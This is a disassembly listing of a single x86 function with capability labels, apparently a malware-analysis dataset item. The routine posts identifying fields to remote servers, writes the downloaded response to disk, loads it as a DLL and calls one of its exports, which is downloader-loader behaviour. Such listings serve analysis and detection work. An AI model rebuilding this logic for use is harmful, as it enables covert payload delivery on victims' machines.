Function at 0x100103e8
Capabilities:
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xf5c
push ebx
push esi
push edi
lea ecx, [esp + 0x80]
call fcn.100112b0
lea ecx, [esp + 0x80]
call fcn.100109e3
mov edi, eax
mov esi, dword [edi]
lea ebx, [edi + 4]
add esi, 3
mov dword [esp + 0x30], ebx
add esi, edi
mov ecx, ebx
mov edx, esi
call fcn.100109e6
lea eax, [edi + 8]
mov edx, esi
mov ecx, eax
mov dword [esp + 0x2c], eax
call fcn.100109e6
lea eax, [edi + 0xc]
mov edx, esi
mov ecx, eax
mov dword [esp + 0x48], eax
call fcn.100109e6
lea ecx, [esp + 0x1c]
call fcn.10011147
push esi
push edi
lea ecx, [esp + 0x7c]
call fcn.1001018e
push str.cid
lea ecx, [esp + 0x28]
call fcn.100112cd
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
call fcn.10011126
lea ecx, [esp + 0x24]
call fcn.10011300
mov esi, dword [ebp + 0xc]
lea ecx, [esp + 0x1c]
push dword [esi + 0xcb8]
call fcn.1001091a
push str.uac
lea ecx, [esp + 0x20]
call fcn.1001091a
cmp byte [esi + 0xcbc], 0
mov ecx, 0x100130a4
mov eax, 0x100130a0
cmove eax, ecx
lea ecx, [esp + 0x1c]
push eax
call fcn.1001091a
push 0xffffffffffffffff
lea ecx, [esp + 0x78]
call fcn.100101b6
mov edi, eax
mov esi, edi
test edi, edi
je 0x10010527
lea ecx, [esp + 0x1c]
call fcn.1001090f
test al, al
jne 0x100104ed
push 0x1001308c
lea ecx, [esp + 0x20]
call fcn.1001091a
push dword [esi + 4]
lea ecx, [esp + 0x28]
push str.id___d
call fcn.10011147
push eax
call fcn.10010cf6
add esp, 0xc
lea ecx, [esp + 0x1c]
push eax
call fcn.10010948
lea ecx, [esp + 0x24]
call fcn.10011300
mov esi, dword [esi]
test esi, esi
jne 0x100104d2
push edi
call fcn.100102a2
pop ecx
lea ecx, [esp + 0x24]
call fcn.1001089e
push str.application_x_www_form_urlencoded
lea ecx, [esp + 0x18]
call fcn.100112cd
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.10011126
lea ecx, [esp + 0x14]
call fcn.10011300
push dword [ebx]
lea ecx, [esp + 0x18]
call fcn.100112cd
lea ecx, [esp + 0x1c]
call fcn.100109e3
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
call fcn.10012307
push eax
lea ecx, [esp + 0x50]
call fcn.10010fbb
lea ecx, [esp + 0x38]
call fcn.10011300
lea ecx, [esp + 0x14]
call fcn.10011300
lea ecx, [esp + 0x4c]
call fcn.10010c5c
mov edi, 0xc8
xor ebx, ebx
cmp eax, edi
je 0x1001070a
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0x14]
push dword [esi]
call fcn.100112cd
lea ecx, [esp + 0x1c]
call fcn.100109e3
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
call fcn.10012307
push eax
lea ecx, [esp + 0x64]
call fcn.10010fbb
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100108c2
lea ecx, [esp + 0x60]
call fcn.100108af
lea ecx, [esp + 0x38]
call fcn.10011300
lea ecx, [esp + 0x14]
call fcn.10011300
lea ecx, [esp + 0x4c]
call fcn.10010c5c
cmp eax, edi
je 0x1001070a
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x14]
push dword [eax]
call fcn.100112cd
push ebx
push ecx
lea eax, [esp + 0x24]
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x3c]
call fcn.1001030f
pop ecx
pop ecx
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
call fcn.10012307
push eax
lea ecx, [esp + 0x64]
call fcn.10010fbb
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100108c2
lea ecx, [esp + 0x60]
call fcn.100108af
lea ecx, [esp + 0x38]
call fcn.10011300
lea ecx, [esp + 0x30]
call fcn.10011300
lea ecx, [esp + 0x14]
call fcn.10011300
lea ecx, [esp + 0x4c]
call fcn.10010c5c
cmp eax, edi
je 0x1001070a
push dword [esi]
lea ecx, [esp + 0x18]
call fcn.100112cd
push ebx
push ecx
lea eax, [esp + 0x24]
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x3c]
call fcn.1001030f
pop ecx
pop ecx
push eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
call fcn.10012307
push eax
lea ecx, [esp + 0x64]
call fcn.10010fbb
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x50]
call fcn.100108c2
lea ecx, [esp + 0x60]
call fcn.100108af
lea ecx, [esp + 0x38]
call fcn.10011300
lea ecx, [esp + 0x30]
call fcn.10011300
lea ecx, [esp + 0x14]
call fcn.10011300
lea ecx, [esp + 0x4c]
call fcn.10010c5c
cmp eax, edi
jne 0x10010869
lea ecx, [esp + 0x4c]
call fcn.10010e73
mov esi, eax
mov ecx, eax
call fcn.10010b40
neg eax
mov ecx, esi
push eax
call fcn.100109e3
push eax
lea ecx, [esp + 0x40]
call fcn.100109fc
lea ecx, [esp + 0x38]
call fcn.10010b28
mov dword [esp + 0x30], eax
test eax, eax
je 0x10010860
push ecx
push ecx
lea ecx, [esp + 0x98]
call fcn.10010e1b
lea ecx, [esp + 0x90]
call fcn.10010d51
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
push eax
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10010854
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], ebx
call fcn.10010b34
push ebx
mov edi, eax
lea eax, [esp + 0x30]
push eax
push edi
push dword [esp + 0x3c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100107c5
mov byte [esp + 0x13], 1
cmp dword [esp + 0x2c], edi
je 0x100107c9
mov byte [esp + 0x13], bl
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x13], bl
je 0x10010854
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10010854
push 0x100130dc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
test edx, edx
je 0x1001084a
mov esi, dword [ebp + 0xc]
lea edi, [esp + 0x298]
mov ecx, 0x330
lea eax, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xf5c], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0xf58], 0x100101a6
mov dword [esp + 0xf60], 0x100102a2
mov eax, dword [eax]
mov dword [esp + 0xf64], eax
lea eax, [esp + 0x298]
push eax
push dword [ebp + 8]
call edx
pop ecx
pop ecx
mov bl, 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x90]
call fcn.10010d54
lea ecx, [esp + 0x38]
call fcn.100109f1
lea ecx, [esp + 0x4c]
call fcn.100108af
lea ecx, [esp + 0x24]
call fcn.100108aa
lea ecx, [esp + 0x1c]
call fcn.10011300
lea ecx, [esp + 0x80]
call fcn.10010899
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret